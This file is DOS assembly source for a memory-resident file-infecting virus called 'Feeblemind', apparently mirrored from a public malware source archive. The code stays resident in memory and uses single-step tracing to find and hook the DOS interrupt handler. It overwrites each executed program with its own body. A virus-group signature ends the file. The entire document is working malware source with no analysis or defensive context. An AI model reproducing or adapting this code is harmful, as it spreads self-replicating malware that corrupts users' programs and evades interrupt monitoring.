mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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121 lines
2.9 KiB
Plaintext
121 lines
2.9 KiB
Plaintext
;
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; Feeblemind
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;
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Start: Jmp Install
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Old21 Dd 0
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Org21 Dd 0
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Inc10: Add Ah,10h
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Eoi: Jmp Dword Ptr Cs:[Org21]
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New21: Sub Ah,10h
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Cmp Ax,3b00h
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Jne Inc10
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Push Ax
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Push Bx
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Push Cx
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Push Dx
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Push Ds
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Push Es
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Push Si
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Push Di
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Mov Ax,3d02h
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Pushf
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Call Dword ptr Cs:[Old21]
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Xchg Ax,Bx
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Mov Ah,30h
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Add Ah,10h
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Mov Cx,VLen
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Lea Dx,Start
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Mov Ds,Cs
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Pushf
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Call Dword ptr Cs:[Old21]
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Mov Ah,3eh
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Pushf
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Call Dword Ptr Cs:[old21]
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Pop Di
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Pop Si
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Pop Es
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Pop Ds
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Pop Dx
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Pop Cx
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Pop Bx
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Pop Ax
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Jmp EOI
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Db '[Feeblemind]'
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Install: Mov Ax,3501h
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Int 21h
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Mov Word Ptr Cs:[Old1],Bx
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Mov Word Ptr Cs:[Old1][2],Es
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Mov Ax,2501h
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Mov Ds,Cs
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Lea Dx,New1
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Int 21h
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Cli
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Pushf
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Pop Ax
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Or Ah,1
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Push Ax
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Popf
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Sti
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Mov Ah,30h
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Int 21h
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Cli
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Pushf
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Pop Ax
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And Ah,0feh
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Push Ax
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Popf
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Sti
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Mov Ds,Word ptr Cs:[Old1][2]
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Mov Dx,Word ptr Cs:[Old1]
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Mov Ax,2501h
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Int 21h
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Mov Ax,1521h
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Add Ah,20h
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Int 21h
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Mov Word Ptr Cs:[Org21],Bx
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Mov Word Ptr Cs:[Org21][2],Es
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Mov Ax,1521h
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Add Ah,10h
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Mov Ds,Cs
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Lea Dx,New21
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Int 21h
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Lea Dx,EndByte
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Int 27h
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Old1 Dd 0
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New1: Push Bp
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Mov Bp,Sp
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Cmp Word Ptr Ss:[Bp][4],116h
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Jne Einde
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Push Ax
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Mov Ax,Ss:[Bp][4]
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Mov Word Ptr Cs:[Old21][2],Ax
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Mov Ax,Ss:[Bp][2]
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Mov Word Ptr Cs:[Old21],Ax
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And Word Ptr Ss:[Bp][6],0fffeh
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Pop Ax
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Einde: Pop Bp
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Iret
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Endbyte Db 0
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Vlen Equ $-Start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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